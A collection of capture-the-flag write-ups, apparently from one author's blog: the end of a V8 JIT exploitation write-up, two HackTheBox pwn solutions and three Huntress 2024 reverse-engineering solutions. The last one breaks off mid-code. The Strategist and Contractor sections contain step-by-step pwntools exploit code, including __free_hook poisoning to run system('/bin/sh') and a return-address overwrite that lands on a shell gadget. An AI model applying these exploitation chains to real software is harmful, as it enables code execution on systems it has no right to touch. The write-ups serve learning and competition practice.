8. Scan memory and find SamplingThread markers.
9. Write poc_vtable_test.js to prove OOB write and vtable corruption.
10. Attach IDA and confirm destructor virtual call through [rax+8].
11. Find pivot and ROP gadgets in d8.
12. Convert helper exploit into remote-safe exploit with warm-up loops.
13. Submit base64 payload.
14. Let d8 destroy itself into /bin/cat.

That last line is what made the challenge fun.

The exploit does not directly print anything. It does not need print(). It does not need read(). It lets d8 run, corrupts the cleanup path, and turns the shutdown sequence into a flag printer.


Key Takeaways

1. One Word in a JIT Compiler Can Become Code Execution

The bug is visually tiny:

- StringOrReceiver
+ String

But compiler type information is security-critical. If the optimizer believes a value is bounded and that belief is wrong, it may remove the only check standing between JavaScript and raw memory.

2. JavaScript Objects Are Dangerous During Conversion

+obj is not boring. It can call attacker-controlled code:

let obj = {
  valueOf() {
    return 999;
  }
};

That is why Receivers must be treated conservatively by ToNumber.

3. Typed Arrays Are Excellent Exploitation Surfaces

Once a typed-array bounds check disappears, an index becomes raw pointer arithmetic:

backing_store + index * element_size

For Float64Array, every index is eight bytes.

4. Helper Builds Are Worth the Time

Rebuilding V8 with helpers enabled made the exploit understandable. It allowed direct confirmation of:

  • optimization status;
  • generated machine code;
  • missing bounds checks;
  • memory layout;
  • vtable corruption;
  • crash location.

Without that build, this would have been far more blind.

5. A Crash Is Not Enough; A Controlled Crash Is Evidence

The 0x4141414141414141 vtable test mattered because it was controlled:

write canary
read canary
restore pointer
verify restore
write canary again
observe virtual-call crash

That proved the exploit had precise write control and a viable control-flow target.

6. ROP Does Not Always Need a Shell

For services that capture stdout, calling:

execvp("/bin/cat", argv)

is often better than spawning /bin/sh.

7. Exploit Reliability Comes From Runtime Discovery

The final exploit scans for sentinels and markers instead of depending on fragile hardcoded heap indexes. That made it portable enough for the remote challenge server.


Closing

Objection is a great example of modern pwn moving far beyond simple unsafe C functions.

The initial vulnerability lives in a compiler’s model of JavaScript semantics. The exploit begins with high-level JavaScript, abuses a wrong type assumption, converts that into a native out-of-bounds typed-array primitive, discovers C++ objects in process memory, leaks a PIE base, forges a vtable, pivots the stack, and finally executes a ROP chain.

The beautiful part is how small the original bug was.

One removed word:

Receiver

One wrong compiler belief:

This number must be between 0 and 3.

One attacker-controlled conversion:

valueOf() { return 300; }

And suddenly JavaScript is reading and writing outside its array.

From there, the exploit turns d8‘s own shutdown path against it:

fake vtable -> pivot gadget -> fake stack -> execvp -> cat flag

That is what made Objection memorable. It was not just about getting a flag. It was about watching a tiny lie in the optimizer grow into complete native control of the process.

All files referenced in this writeup are available at:

github.com/mlesterdampios/htb-gcsb-2026-pwn-objection

[HTB-CyberApoc25] Strategist

Hey everyone, our team, Bembangan Time, has recently joined the HackTheBox Cyber Apocalypse 2025, wherein we placed at top 40th out of 8129 teams and 18369 players.

Without further ado, here is a quick writeup for the Pwn – Strategist challenge.

Solution

The full solution is available here in the github link.

I will try to explain block by block on what is happening within the application for every inputs that we send.

Checksec

Leaking an address to defeat ASLR

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
        marker1 = b'AAAStartMarker'
        marker2 = b'AAAEndMarker'
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', marker1 + (b'A' * (1279 - len(marker1) - len(marker2))) + marker2)

        pause()

We need to request for a large malloc allocation to result for a Doubly-linked chunk to leak an address later. To understand more information regarding the malloc allocation, you may check out this article.

After executing the code above, we will see the following in our heap:

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'32')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'B'*31)

        pause()

Upon the execution of above code, we will saw that a new chunk was created with a different chunk type. This time, the chunk is a Fast Bin. I needed to create this type in order to not consolidate with the previous chunk, Plan A, which was a small bin. When the chunks are freed, they goes to a bin, in which the libc remembers those location so that when the user requested another malloc that may fit to a specific size, it may reuse the freed location.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'0')
        
        pause()

Now we delete the plan A. And here’s what it looks like when deleted:

The first offset is called fd or forward pointer which points to the next available chunk. The second one is the bk or the backward pointer which points to the previous chunk in the same bin.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'C'*8, newline=False)

        pause()

Upon the execution of the above code, we will be reusing the same location of Plan A.

With the combined vulnerability of tricking the malloc, free, and printf in the show_plan function, we can leak the address of the offset shown above.

printf(
    "%s\n[%sSir Alaric%s]: Plan [%d]: %s\n",
    "\x1B[1;34m",
    "\x1B[1;33m",
    "\x1B[1;34m",
    v2,
    *(const char **)(8LL * (int)v2 + a1));
        newRecvuntilAndSend(p, b'> ', b'2')
        newRecvuntilAndSend(p, b'Which plan you want to view?', b'0')

        pause()

        libc_addr_leak = int.from_bytes(newRecvall(p)[0x36:0x3c], byteorder='little')
        log.info(b'libc_addr_leak: ')
        log.info(hex(libc_addr_leak))

        libc.address = libc_addr_leak - 0x3EBCA0
        log.info(b'libc.address: ')
        log.info(hex(libc.address))

        free_hook = libc.sym['__free_hook']
        log.info(b'free_hook: ')
        log.info(hex(free_hook))

        system_addr = libc.sym['system']
        log.info(b'system_addr: ')
        log.info(hex(system_addr))

        pause()

Write-what-where

The next step is to create and corrupt chunk(s) to do malicious writing that should be out-of-bounds.

        newSend(p, b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'D'*39)

        pause()

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'57')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'E'*56)

        pause()

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'F'*39)

        pause()

Upon executing the above code, we are creating 3 chunks. The Plan D will be used to corrupt Plan E. And we also created Plan F as this is the chunk that would point to the free_hooks location where we will be writing the system.

printf("%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  v1 = strlen(*(const char **)(8LL * (int)v3 + a1));

In the edit_plan function, there was a vulnerability where we can write out-of-bounds because it doesn’t properly check the maximum writable space of a chunk. It instead relies on the strlen function. Since the strlen only stops at null terminator (0x00), then it will not stop when encountering newline (0x0a).

        newRecvuntilAndSend(p, b'> ', b'3')
        newRecvuntilAndSend(p, b'Which plan you want to change?', b'2')
        newRecvuntilAndSend(p, b'Please elaborate on your new plan.', b'G'*40 + b'\x61', newline=False)

        pause()

The above code will corrupt the Plan E size, changing it from 0x51 to 0x61.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'4')

        pause()

After executing the above code, we will now see that the Plan F is now deleted and a fd or forward pointer has been created. We want to poison that fd to point to the free_hook so that we can write the system into the free_hook address.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'3')

Now we need to delete the Plan E so that we can re-allocate the space that will poison the Plan F fd. The Plan F is still on the bins memory, and we also trick the free by making it recognize that the size was 0x61, when in fact, it was originally 0x51 before the corruption.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'88')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'H'*80 + p64(free_hook), newline=False)

        pause()

Now we poison Plan F fd pointing to free_hook.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'X'*8)

        pause()

Since Plan F has been recently freed, we just reallocate it.

And now, we know that malloc is now pointing to the free_hook address, we just write the system address on the free_hook:

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', p64(system_addr))

        pause()

Look at that, isn’t that beautiful?

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'/bin/sh\0', newline=False)

        pause()

Of course, we need to write the parameter of the system as well, which is the /bin/sh to spawn a shell.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'6')

        newRecvall(p)

        newSend(p, b'whoami')

        resp = newRecvall(p)
        if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
            p.interactive()

And for the last piece of the puzzle. Delete the Plan_bin_sh to trigger the free function, which then triggers the free_hook function.

Outro

[HTB-CyberApoc25] Contractor

Hey everyone, our team, Bembangan Time, has recently joined the HackTheBox Cyber Apocalypse 2025, wherein we placed at top 40th out of 8129 teams and 18369 players.

Without further ado, here is a quick writeup for the Pwn – Contractor challenge.

Solution

The full solution is available here in the github link.

I will try to explain block by block on what is happening within the application for every inputs that we send.

Checksec

Leaking an address to defeat ASLR

        newRecvuntilAndSend(p, b'What is your name?', b'A'*0x10, newline=False)
        pause()

This one just fills the whole space for the name without the newline nor null terminator.
Here what it looks like in the stack:

        newRecvuntilAndSend(p, b'Now can you tell me the reason you want to join me?', b'B'*0x100, newline=False)
        pause()

This line, just fills 0x100 bytes, starting from 7FFE917D2870 until 7FFE917D296F:

        newRecvuntilAndSend(p, b'And what is your age again?', b'69')
        pause()

        newRecvuntilAndSend(p, b'One last thing, you have a certain specialty in combat?', b'C'*0x10, newline=False)

And these lines, just fills out the s_272 and s_280 as shown below.

One thing to notice is that, there is no null terminator (0x00) along s_280 until 7FFE917D2990. Meaning to say, the address of __libc_csu_init will be printed as well due to the unsafe code used by the developer (challenge creator):

printf(
    "\n"
    "[%sSir Alaric%s]: So, to sum things up: \n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n"
    "\t[Name]: %s\n"
    "\t[Reason to join]: %s\n"
    "\t[Age]: %ld\n"
    "\t[Specialty]: %s\n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n",
    "\x1B[1;33m",
    "\x1B[1;34m",
    (const char *)s,
    (const char *)s + 16,
    *((_QWORD *)s + 34),
    (const char *)s + 280);

They used printf without checking the memory first for safe bounds reading. The printf will stop at the first null terminator. That is why the address of __libc_csu_init will be included on the output.
We just catch the leak via:

        elf_leak = int.from_bytes(newRecvall(p)[0x2da:0x2e0], byteorder='little')
        log.info(b'elf_leak: ')
        log.info(hex(elf_leak))

        elf.address = elf_leak - elf.symbols['__libc_csu_init']
        log.info(b'elf.address: ')
        log.info(hex(elf.address))

        contract_addr = elf.address + 0x1343
        log.info(b'contract_addr: ')
        log.info(hex(contract_addr))

In the above code, we can see the leak, then we just compute the leak minus the __libc_csu_init to compute for the base of the program. Once we got the program’s base, we could compute the address of the gadget that was included in the binary:

Overwriting the stack

    printf("\n1. Name      2. Reason\n3. Age       4. Specialty\n\n> ");
    __isoc99_scanf("%d", &v5);
    if ( v5 == 4 )
    {
      printf("\n%s[%sSir Alaric%s]: And what are you good at: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
      for ( i = 0; (unsigned int)i <= 0xFF; ++i )
      {
        read(0, &safe_buffer, 1uLL);
        if ( safe_buffer == 10 )
          break;
        *((_BYTE *)s + i + 280) = safe_buffer;
      }
      ++v6;
    }

The vulnerability lies here. Notice that we can write up to 0xFF amount of bytes. Meaning to say, we can overwrite the canary, the return address, and some other stored values in stack. BUT, we don’t have information regarding the canary, so we need to get around with it.

In theory, we can write the values all of here:

We can write the value of the pointer_to_s (7FFE917D2998) to choose a location to write to.
However, it would be hard to execute this as the s would needed to recomputed for each bytes.
Also, notice that since we are in ASLR, the address do change every instance of the application.

So what we are doing is to overwrite the pointer_to_s (7FFE917D2998) by 1 byte. It may repoint up or down from original pointer. Basically, we will be bruteforcing the overwrite and hoping that it would successfully point to the return address when recomputed for the next overwrite. Also, we want to set the v5 and v6 to 0xFFFFFFFF as it would indicate as -1 in integer value, keeping the loop on-going because we still need to write to the return address.

        newSend(p, b'4')
        newRecvuntilAndSend(p, b'And what are you good at:', 
            ((b'D'*0x10) + 
            p64(elf_leak) + 
            b'\xff\xff\xff\xff' + 
            b'\xff\xff\xff\xff' + 
            b'\x60\x0a'), 
            newline=False
        )

        pause()

Here we can see that we keep the elf_leak in its place, two 0xFFFFFFFF for the v5 and v6 respectively. And for the pointer_to_s, we are blindly replacing the 1 byte of it as 0x60.

However, for this specific instance, the pointer_to_s did not changed, thus making the exploit not to work.

In theory, if we manage the pointer_to_s set the value to 7FFE917D28A0 (s+40) and not 7FFE917D2860, then this exploit should work. Again, we are bruteforcing this 1 byte and hoping that an instance would magically give as an address that meets our condition.

For the purpose of this demo, I’ll manually point this to the desired address:

So now our computation is as follows:
7FFE917D28A0 (s) + 280, then it will point to 7FFE917D29B8.

        newRecvuntilAndSend(p, b'>', b'4')

        pause()

        newRecvuntilAndSend(p, b'And what are you good at:', 
            (p64(contract_addr) + 
            p64(contract_addr) +
            b'\x0a'), 
            newline=False
        )

        pause()

Upon the execution of the above code, we are now able to write to the return address without touching the canary.

We now then let the application end normally so that it would exit the main and jump to contract.

        newRecvuntilAndSend(p, b'I suppose everything is correct now?', b'Yes')
        pause()

        newRecvall(p)
        pause()

        newSend(p, b'whoami')
        pause()

        resp = newRecvall(p)
        if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
            p.interactive()

Outro

[HNTRS2024] Huntress 2024 (Reverse Engineering): In Plain Sight

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge, I learned that this binary is somewhat similar to Ghostpulse where it hides payload on the PNG. I was able to uncover this by checking some functions and saw that the binary loads a PNG resource file and it do some decryption routine.

EDIT: My solution to this is somewhat weird. After the event, the challenge creator revealed that the actual encrypted data wasn’t on the PNG itself. Until this day, I was still puzzled and looking for a “better” way to solve the challenge than my methodology explained below.

As stated in the article above, it do some crc and hashing checking to the PNG parts to identify location of the encrypted locations.

I first put a breakpoint on the cmp dword ptr [rsp+238h+var_1E8+0Ch], 0AAAAAAAAh. It seems like 0AAAAAAAAh is like an index for an encrypted message that the programs want to print out. You will notice this also in other parts, such as 0AAAAh, 0AAAAAh, 0AAAAAAh.

In the first breakpoint hit, you will see this:

Since, 0AAAAh is not equals to 0AAAAAAAAh, then it will just skip and proceed to the next iteration of loop. But what we can do here is to control the rip to proceed with the decryption block instead of reiterating the loop.

It did leaked the first encrypted message from the PNG file.

We just repeat these step to leak others as well.

We could go on to look other message, I think there are 12 encrypted messages there. But to cut short, this message is interesting.

Here are the IPs that we extracted.

10 25 3 103
10 5 13 54
10 185 7 102
172 21 29 54
172 20 20 51
172 30 27 54
192 168 34 57
192 168 71 6
10 76 2 97
10 199 9 97
192 168 245 16
172 25 31 54
192 168 226 0
10 215 6 57
192 168 41 1
10 212 10 49
10 119 16 50
10 0 0 102
172 30 21 57
192 168 43 2
192 168 113 16
172 26 24 100
192 168 89 12
172 21 33 101
192 168 37 125
172 17 19 49
10 169 8 52
10 179 4 123
172 29 22 50
192 168 180 8
172 28 26 97
172 24 23 50
192 168 40 18
172 16 30 98
10 13 1 108
192 168 42 0
172 16 17 102
10 105 11 55
192 168 36 49
172 30 18 56
172 24 25 99
192 168 100 12
192 168 35 97
172 30 28 99
172 27 32 53
192 168 58 18
10 184 15 101
192 168 50 15
10 129 5 53
10 126 12 98
10 32 14 57

Then lets sort it based on the 3rd octet

10 0 0 102
10 13 1 108
10 76 2 97
10 25 3 103
10 179 4 123
10 129 5 53
10 215 6 57
10 185 7 102
10 169 8 52
10 199 9 97
10 212 10 49
10 105 11 55
10 126 12 98
10 5 13 54
10 32 14 57
10 184 15 101
10 119 16 50
172 16 17 102
172 30 18 56
172 17 19 49
172 20 20 51
172 30 21 57
172 29 22 50
172 24 23 50
172 26 24 100
172 24 25 99
172 28 26 97
172 30 27 54
172 30 28 99
172 21 29 54
172 16 30 98
172 25 31 54
172 27 32 53
172 21 33 101
192 168 34 57
192 168 35 97
192 168 36 49
192 168 37 125
192 168 40 18
192 168 41 1
192 168 42 0
192 168 43 2
192 168 50 15
192 168 58 18
192 168 71 6
192 168 89 12
192 168 100 12
192 168 113 16
192 168 180 8
192 168 226 0
192 168 245 16

Then extract the 4th octet.

102
108
97
103
123
53
57
102
52
97
49
55
98
54
57
101
50
102
56
49
51
57
50
50
100
99
97
54
99
54
98
54
53
101
57
97
49
125
18
1
0
2
15
18
6
12
12
16
8
0
16

Convert to ASCII then remove the non-printable characters.

GGz!

[HNTRS2024] Huntress 2024 (Reverse Engineering): Rusty Bin

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge we are given a binary to reverse. The flag is in the binary and we need to find it.

After some guessing we are able to get a clue. I tried finding the bytes on the memory but I couldn’t get whole flag.

So what I did was to look around more, and try to check some function calls.

These 2 function calls are somewhat weird to me. I tried to check arguments passed to these 2 functions. I found out that the 1st function is a XOR cipher, and the 2nd call is a XOR key. There was 14 loops on it, so meaning there are 14 ciphers. You can just write down those values and manually xor for around 30 mins, or build an automated solution for 2 hours. Pick your poison. lol.

So I choose the automated solution

// FunctionHooks.cpp : Defines the exported functions for the DLL application.
//
#define NOMINMAX // Prevents Windows headers from defining min and max macros
//#define AllowDebug // uncomment to show debug messages
#include "pch.h"
#include <windows.h>
#include "detours.h"
#include <cstdint>
#include <mutex>
#include <fstream>
#include <string>
#include <vector>
#include <queue>
#include <thread>
#include <condition_variable>
#include <atomic>
#include <sstream>
#include <iomanip>
#include <cctype> // For isprint
#include <intrin.h>

// 1. Define the function pointer type matching the target function's signature.
typedef __int64(__fastcall* sub_0x1AC0_t)(__int64 a1, __int64 a2, __int64 a3);

// 2. Replace with the actual module name containing the target function.
const char* TARGET_MODULE_NAME = "rusty_bin.exe"; // Ensure this matches the actual module name

// 3. Calculated RVA of the target function (0x1AC0 based on previous calculation)
const uintptr_t FUNCTION_RVA = 0x1AC0;

// 4. Declare a pointer to the original function.
sub_0x1AC0_t TrueFunction = nullptr;

// 5. Logging components
std::queue<std::string> logQueue;
std::mutex queueMutex;
std::condition_variable cv;
std::thread logThread;
std::atomic<bool> isLoggingActive(false);
std::ofstream logFile;

// 6. Data management components
std::vector<std::vector<unsigned char>> byteVectors;
bool isOdd = true;
std::mutex dataMutex;

// 9. Helper function to convert uintptr_t to hex string
std::string ToHex(uintptr_t value)
{
    std::stringstream ss;
    ss << "0x"
        << std::hex << std::uppercase << value;
    return ss.str();
}

// 7. Helper function to convert a single byte to hex string
std::string ByteToHex(unsigned char byte)
{
    char buffer[3];
    sprintf_s(buffer, sizeof(buffer), "%02X", byte);
    return std::string(buffer);
}

// 8. Helper function to convert a vector of bytes to hex string with spaces
std::string BytesToHex(const std::vector<unsigned char>& bytes)
{
    std::string hexStr;
    for (auto byte : bytes)
    {
        hexStr += ByteToHex(byte) + " ";
    }
    if (!hexStr.empty())
        hexStr.pop_back(); // Remove trailing space
    return hexStr;
}

// 19. Helper function to convert a vector of bytes to a human-readable string
std::string BytesToString(const std::vector<unsigned char>& bytes)
{
    std::string result;
    result.reserve(bytes.size());

    for (auto byte : bytes)
    {
        if (isprint(byte))
        {
            result += static_cast<char>(byte);
        }
        else
        {
            result += '.'; // Placeholder for non-printable characters
        }
    }

    return result;
}

// 10. Enqueue a log message
void LogMessage(const std::string& message)
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logQueue.push(message);
    }
    cv.notify_one();
}

// 11. Logging thread function
void ProcessLogQueue()
{
    while (isLoggingActive)
    {
        std::unique_lock<std::mutex> lock(queueMutex);
        cv.wait(lock, [] { return !logQueue.empty() || !isLoggingActive; });

        while (!logQueue.empty())
        {
            std::string msg = logQueue.front();
            logQueue.pop();
            lock.unlock(); // Unlock while writing to minimize lock contention

            if (logFile.is_open())
            {
                logFile << msg;
                // Optionally, implement log rotation or size checks here
            }

            lock.lock();
        }
    }

    // Flush remaining messages before exiting
    while (true)
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logQueue.empty())
            break;

        std::string msg = logQueue.front();
        logQueue.pop();

        if (logFile.is_open())
        {
            logFile << msg;
        }
    }
}

// 12. Initialize logging system
bool InitializeLogging()
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logFile.open("rusty_bin.log", std::ios::out | std::ios::app);
        if (!logFile.is_open())
        {
            return false;
        }
    }

    isLoggingActive = true;
    logThread = std::thread(ProcessLogQueue);
    return true;
}

// 13. Shutdown logging system
void ShutdownLogging()
{
    isLoggingActive = false;
    cv.notify_one();
    if (logThread.joinable())
    {
        logThread.join();
    }

    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logFile.is_open())
        {
            logFile.close();
        }
    }
}

// 14. Implement the HookedFunction with the same signature.
__int64 __fastcall HookedFunction(__int64 a1, __int64 a2, __int64 a3)
{
    // Retrieve the return address using the MSVC intrinsic
    void* returnAddress = _ReturnAddress();

    // Get the base address of the target module
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
        // If unable to get module handle, log and call the true function
        std::string errorLog = "Failed to get module handle for " + std::string(TARGET_MODULE_NAME) + ".\n";
#ifdef AllowDebug
        LogMessage(errorLog);
#endif
        return TrueFunction(a1, a2, a3);
    }

    uintptr_t moduleBase = reinterpret_cast<uintptr_t>(hModule);
    uintptr_t retAddr = reinterpret_cast<uintptr_t>(returnAddress);
    uintptr_t rva = retAddr - moduleBase;

    // Define the specific RVAs to check against
    const std::vector<uintptr_t> validRVAs = { 0x17B1, 0x17C8 };

    // Check if the return address RVA matches 0x17B1 or 0x17C8
    bool shouldProcess = false;
    for (auto& validRVA : validRVAs)
    {
        if (rva == validRVA)
        {
            shouldProcess = true;
            break;
        }
    }

    if (shouldProcess)
    {
        // Convert a1 and a3 to uintptr_t using static_cast
        uintptr_t ptrA1 = static_cast<uintptr_t>(a1);
        uintptr_t ptrA3 = static_cast<uintptr_t>(a3);

        // Log the function call parameters using ToHex
        std::string logMessage = "HookedFunction called with a1=" + ToHex(ptrA1) +
            ", a2=" + std::to_string(a2) + ", a3=" + ToHex(ptrA3) + "\n";
#ifdef AllowDebug
        LogMessage(logMessage);
#endif

        // Initialize variables for reading bytes
        std::vector<unsigned char> currentBytes;
        __int64 result = 0;

        // Check if a1 is valid and a2 is positive
        if (a1 != 0 && a2 > 0)
        {
            unsigned char* buffer = reinterpret_cast<unsigned char*>(a1);

            // Reserve space to minimize reallocations
            currentBytes.reserve(static_cast<size_t>(a2));

            for (size_t i = 0; i < static_cast<size_t>(a2); ++i)
            {
                unsigned char byte = buffer[i];
                currentBytes.push_back(byte);
            }

            // Convert bytes to hex string
            std::string bytesHex = BytesToHex(currentBytes);

            // Log the bytes read
#ifdef AllowDebug
            LogMessage("Bytes read: " + bytesHex + "\n");
#endif
        }
        else
        {
            // Log invalid parameters
            std::string invalidParamsLog = "Invalid a1 or a2. a1: " + ToHex(ptrA1) +
                ", a2: " + std::to_string(a2) + "\n";
#ifdef AllowDebug
            LogMessage(invalidParamsLog);
#endif
        }

        // Data management: Handle isOdd and byteVectors
        {
            std::lock_guard<std::mutex> guard(dataMutex);
            if (isOdd)
            {
                // Odd call: push the bytes read to byteVectors
                byteVectors.push_back(currentBytes);
#ifdef AllowDebug
                LogMessage("Pushed bytes to array.\n");
#endif
            }
            else
            {
                // Even call: perform XOR with the last vector in byteVectors
                if (!byteVectors.empty())
                {
                    const std::vector<unsigned char>& lastVector = byteVectors.back();
                    size_t minSize = (currentBytes.size() < lastVector.size()) ? currentBytes.size() : lastVector.size();

                    std::vector<unsigned char> xorResult;
                    xorResult.reserve(minSize);

                    for (size_t i = 0; i < minSize; ++i)
                    {
                        xorResult.push_back(currentBytes[i] ^ lastVector[i]);
                    }

                    // Convert XOR result to hex string
                    std::string xorHex = BytesToHex(xorResult);

                    // Convert XOR result to human-readable string
                    std::string xorString = BytesToString(xorResult);

                    // Log both hex and string representations
#ifdef AllowDebug
                    LogMessage("XOR output (Hex): " + xorHex + "\n");
#endif
                    LogMessage("XOR output (String): " + xorString + "\n");
                }
                else
                {
#ifdef AllowDebug
                    // Log that there's no previous vector to XOR with
                    LogMessage("No previous byte vector to XOR with.\n");
#endif
                }
            }

            // Toggle isOdd for the next call
            isOdd = !isOdd;
        }

        // Call the original function
        result = TrueFunction(a1, a2, a3);

        // Log the function result
        std::string resultLog = "Original function returned " + std::to_string(result) + "\n";
#ifdef AllowDebug
        LogMessage(resultLog);
#endif

        // Return the original result
        return result;
    }
    else
    {
        // If the return address RVA is not 0x17B1 or 0x17C8, directly call the true function
        return TrueFunction(a1, a2, a3);
    }
}

// 15. Function to dynamically resolve the target function's address
sub_0x1AC0_t GetTargetFunctionAddress()
{
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
#ifdef AllowDebug
        LogMessage("Failed to get handle of target module: " + std::string(TARGET_MODULE_NAME) + "\n");
#endif
        return nullptr;
    }

    // Calculate the absolute address by adding the RVA to the module's base address.
    uintptr_t funcAddr = reinterpret_cast<uintptr_t>(hModule) + FUNCTION_RVA;
    return reinterpret_cast<sub_0x1AC0_t>(funcAddr);
}

// 16. Attach hooks
BOOL AttachHooks()
{
    // Initialize logging system
    if (!InitializeLogging())
    {
        // If the log file cannot be opened, return FALSE to prevent hooking
        return FALSE;
    }

    // Dynamically resolve the original function address
    TrueFunction = GetTargetFunctionAddress();
    if (!TrueFunction)
    {
#ifdef AllowDebug
        LogMessage("TrueFunction is null. Cannot attach hook.\n");
#endif
        ShutdownLogging();
        return FALSE;
    }

    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Attach the hooked function
    DetourAttach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully attached.\n");
#endif
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to attach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        ShutdownLogging();
        return FALSE;
    }
}

// 17. Detach hooks
BOOL DetachHooks()
{
    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Detach the hooked function
    DetourDetach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully detached.\n");
#endif
        // Shutdown logging system
        ShutdownLogging();
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to detach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        return FALSE;
    }
}

// 18. DLL entry point
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hinst);
        DetourRestoreAfterWith();
        if (!AttachHooks())
        {
            // Handle hook attachment failure if necessary
            // Note: At this point, logging might not be fully operational
        }
        break;
    case DLL_PROCESS_DETACH:
        if (!DetachHooks())
        {
            // Handle hook detachment failure if necessary
        }
        break;
    }
    return TRUE;
}

Flag

XOR output (String): flag
XOR output (String): {e65
XOR output (String): cafb
XOR output (String): c80b
XOR output (String): d66a
XOR output (String): 1964
XOR output (String): b2e9
XOR output (String): debe
XOR output (String): f3ca
XOR output (String): e}
XOR output (String): the password
XOR output (String): What is 'the password'
XOR output (String): Wrong Password
XOR output (String): Correct Password! Here's a clue!

[HNTRS2024] Huntress 2024 (Reverse Engineering): That’s Life

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

THIS IS ONE OF MY FAVORITE CHALLEGE FOR HUNTRESS 2024 AS THIS REMIND’S ME OF VERITASIUM’S “MATH’S FUNDAMENTAL FLAW”

Upon initial triage, the binary is built from protobuf and every tick is saved in file named game_state.pb. Upon observation, there are 12 X and O below the game screen. Sometimes they switch. Based from inference, we must at least meet all 12 to be O. A single O, means a condition was met, so we must investigate to get the conditions so we can probably win this game.

We start first by extracting the protobuf definitions from the binary using https://github.com/arkadiyt/protodump.

syntax = "proto3";

package thats_life;

option go_package = "github.com/HuskyHacks/thats_life/pb;pb";

message Cell {
    bool alive = 1;
    int32 color = 2;
}

message CellRow {
    repeated Cell cells = 1;
}

message Grid {
    int32 width = 1;
    int32 height = 2;
    repeated CellRow rows = 3;
}

We are able to get the protobuf definition. Now we try to parse the game_state.pb

// cmd/deserialize.go

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "strings"

    "example.com/m/v2/pb"
    "google.golang.org/protobuf/proto"
)

func main() {
    // Path to the serialized Grid file
    filePath := "game_state.pb"

    // Read the serialized Grid from the file
    data, err := ioutil.ReadFile(filePath)
    if err != nil {
        log.Fatalf("Failed to read file %s: %v", filePath, err)
    }

    // Create an empty Grid object
    var grid pb.Grid

    // Deserialize the data into the Grid object
    err = proto.Unmarshal(data, &grid)
    if err != nil {
        log.Fatalf("Failed to deserialize Grid: %v", err)
    }

    // Generate Go code representation
    goCode := formatGridAsGoCode("grid", &grid)

    // Print the generated Go code
    fmt.Println(goCode)
}

// formatGridAsGoCode formats the Grid object into a Go code snippet
func formatGridAsGoCode(varName string, grid *pb.Grid) string {
